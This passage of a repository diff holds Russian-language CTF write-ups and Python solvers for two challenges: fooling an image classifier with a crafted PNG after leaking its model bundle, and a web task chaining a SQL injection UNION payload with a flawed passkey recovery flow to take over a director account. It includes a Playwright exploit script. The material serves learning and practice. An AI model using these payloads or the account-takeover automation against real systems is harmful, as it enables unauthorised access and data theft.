| `edge_density` | Много резких границ |
PNG с шахматным или полосатым паттерном даст и контраст, и кучу граней. Красим его в янтарно-синий микс, называем `lattice-lens.png`, прописываем в метадате `ghost-signal=iris-lane` и отправляем на `/api/submit`. Score перевалил порог — сервис возвращает флаг. Автоматический пайплайн — [`solve/solver.py`](solve/solver.py):
```bash
python solve/solver.py http://<ip>:<port>
```
## Флаг
`caplag{3409b3f6f9e70dce81617ab19bd3016469b745fb0b9b007ed4967b4b5a3a6486}`

View File

@@ -0,0 +1,74 @@
from __future__ import annotations
import io
import json
import re
import sys
import zipfile
import httpx
from PIL import Image, PngImagePlugin
def png_bytes(*, metadata: dict[str, str] | None = None, checker: bool = False) -> bytes:
image = Image.new("RGB", (48, 48), (18, 18, 18))
for x in range(48):
for y in range(48):
if checker and (x + y) % 2 == 0:
image.putpixel((x, y), (255, 255, 255))
elif checker:
image.putpixel((x, y), (255, 120, 0))
info = PngImagePlugin.PngInfo()
for key, value in (metadata or {}).items():
info.add_text(key, value)
output = io.BytesIO()
image.save(output, format="PNG", pnginfo=info)
return output.getvalue()
def discover_bundle(client: httpx.Client) -> bytes:
wordlist = ("backup", "debug", "admin", "hidden", "archive", "internal")
for word in wordlist:
response = client.get(f"/{word}", follow_redirects=True)
if response.status_code != 200:
continue
match = re.search(r'href="([^"]*prizrachny_kadr_export\.zip)"', response.text)
if not match:
continue
bundle_response = client.get(match.group(1))
bundle_response.raise_for_status()
return bundle_response.content
raise RuntimeError("Hidden archive page was not discovered.")
def main() -> int:
base_url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8011"
with httpx.Client(base_url=base_url.rstrip("/"), timeout=20.0, trust_env=False) as client:
bundle_bytes = discover_bundle(client)
with zipfile.ZipFile(io.BytesIO(bundle_bytes)) as archive:
preprocess = json.loads(archive.read("preprocess.json").decode("utf-8"))
print(f"[+] leaked bundle: {archive.namelist()}")
print(f"[+] threshold: {preprocess['threshold']}")
if preprocess.get("input") != [
"amber_ratio",
"blue_ratio",
"contrast",
"edge_density",
"filename_signal",
"metadata_signal",
]:
raise RuntimeError("Unexpected feature layout in preprocess.json.")
candidate = png_bytes(metadata={"ghost-signal": "iris-lane"}, checker=True)
solve = client.post("/api/submit", files={"upload": ("lattice-lens.png", candidate, "image/png")})
solve.raise_for_status()
payload = solve.json()
flag = payload.get("flag")
if not flag:
raise RuntimeError(f"GhostFrame did not solve: {payload}")
print(flag)
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,50 @@
<h1 align="center">UmbrellaBioAccess</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/points-979-critical" alt="979 pts"/>
</p>
Переходим по ссылке и видим перед нами три раздела: `Field Directory`, `Emergency Recovery` и `Partner Access`. Логично предположить, что решение будет состоять из нескольких шагов. Для этого необходим будет эксплуатировать две уязвимости: SQL injection в legacy-поиске и кривой recovery-flow, который позволяет привязать новый passkey к чужому аккаунту, зная только `recovery_code`. Благодаря этому получаем сессию директора и доступ к `BioCore Vault`.
```mermaid
flowchart LR
D(["/directory<br/><i>SQLi UNION</i>"])
R(["/recovery<br/><i>bind own passkey</i>"])
A(["/access<br/><i>passkey login</i>"])
V(["/vault<br/><b>→ flag</b>"])
D -->|recovery_code| R -->|own passkey linked| A -->|director session| V
classDef step fill:#e0e7ff,stroke:#6366f1,color:#312e81
classDef win fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
class D,R,A step
class V win
```
## Решение
Начинаем с `/directory`. Поиск по legacy-справочнику, и прямо там висит подпись `Quote-aware matching enabled.`. Проверяем одинарной кавычкой — параметр поиска улетает внутрь выражения вида `ILIKE '%...%'`, можно попоробовать использовать SQLi. Простая булева инъекция (`OR true`) подтверждает наличие дыры, но к нужным скрытым полям доступа не даст. Идём через `UNION SELECT` и подменяем `displayName` значением `recovery_code`:
```sql
') UNION ALL SELECT codename,recovery_code,division,dossier
FROM directory_public_view WHERE role='director' --
```
В ответе появляется запись директора:
| Поле | Содержимое |
|---|---|
| `codename` | кодовое имя директора |
| `displayName` | 24-символьный hex `recovery_code` |
Идём в `/recovery`.
> Здесь не прямо классический [WebAuthn](https://www.w3.org/TR/webauthn-2/), атаку необходимо провести на бизнес-логику восстановления.
Знание `recovery_code` считается достаточным основанием, чтобы привязать новый passkey к существующему аккаунту. Вводим извлечённый recovery-код, завершаем регистрацию своего passkey, и он оказывается связан с директорским профилем.
Ну все, мы фактически на финише. На `/access` вводим директорский `codename`, логинимся обычным passkey-флоу уже своим ключом — получаем сессию с ролью `director`. Открываем `/vault` (или напрямую дёргаем `GET /api/vault/biocore`) — сервер отдаёт флаг.
## Флаг
`caplag{read_only_sqli_rebinds_director_passkeys}`

View File

@@ -0,0 +1,3 @@
playwright>=1.52,<2
requests>=2.32,<3

View File

@@ -0,0 +1,147 @@
import argparse
import re
import sys
from dataclasses import dataclass
from urllib.parse import urljoin
import requests
import urllib3
from playwright.sync_api import BrowserContext, Page, sync_playwright
DIRECTOR_QUERY = (
"') UNION ALL SELECT codename,recovery_code,division,dossier "
"FROM directory_public_view WHERE role='director' -- "
)
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
@dataclass
class DirectorProfile:
codename: str
recovery_code: str
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
parser.add_argument(
"--insecure",
action="store_true",
help="Disable TLS verification for self-signed challenge certificates",
)
parser.add_argument(
"--headful",
action="store_true",
help="Run Chromium in headful mode for debugging",
)
return parser.parse_args()
def api_url(base_url: str, path: str) -> str:
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
session = requests.Session()
session.verify = not insecure
if insecure:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = session.post(
api_url(base_url, "/api/directory/search"),
json={"query": DIRECTOR_QUERY},
timeout=20,
)
response.raise_for_status()
payload = response.json()
items = payload.get("items", [])
for item in items:
codename = str(item.get("codename", ""))
display_name = str(item.get("displayName", ""))
if RECOVERY_CODE_RE.fullmatch(display_name):
return DirectorProfile(codename=codename, recovery_code=display_name)
raise RuntimeError("Director recovery vector not found in SQLi response")
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
cdp = context.new_cdp_session(page)
cdp.send("WebAuthn.enable")
cdp.send(
"WebAuthn.addVirtualAuthenticator",
{
"options": {
"protocol": "ctap2",
"transport": "internal",
"hasResidentKey": True,
"hasUserVerification": True,
"isUserVerified": True,
"automaticPresenceSimulation": True,
}
},
)
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
with sync_playwright() as playwright:
browser = playwright.chromium.launch(headless=not headful)
context = browser.new_context(ignore_https_errors=insecure)
page = context.new_page()
enable_virtual_authenticator(context, page)
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
page.get_by_test_id("recovery-submit").click()
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
page.get_by_test_id("login-codename").fill(profile.codename)
page.get_by_test_id("login-submit").click()
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
page.get_by_test_id("vault-fetch").click()
page.wait_for_function(
"""
() => {
const node = document.querySelector('[data-testid="vault-flag"]');
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
}
""",
timeout=20_000,
)
flag = page.get_by_test_id("vault-flag").text_content().strip()
browser.close()
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
raise RuntimeError("Vault returned no payload")
if not flag.lower().startswith("caplag{"):
raise RuntimeError(f"Unexpected flag format: {flag}")
return flag.lower()
def main() -> int:
args = parse_args()
try:
profile = discover_director(args.base_url, args.insecure)
print(f"[+] director codename: {profile.codename}")
print(f"[+] recovery code: {profile.recovery_code}")
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
print(f"[+] flag: {flag}")
return 0
except Exception as exc:
message = str(exc)
if "Executable doesn't exist" in message or "playwright install" in message.lower():
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
print(f"[-] solve failed: {message}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())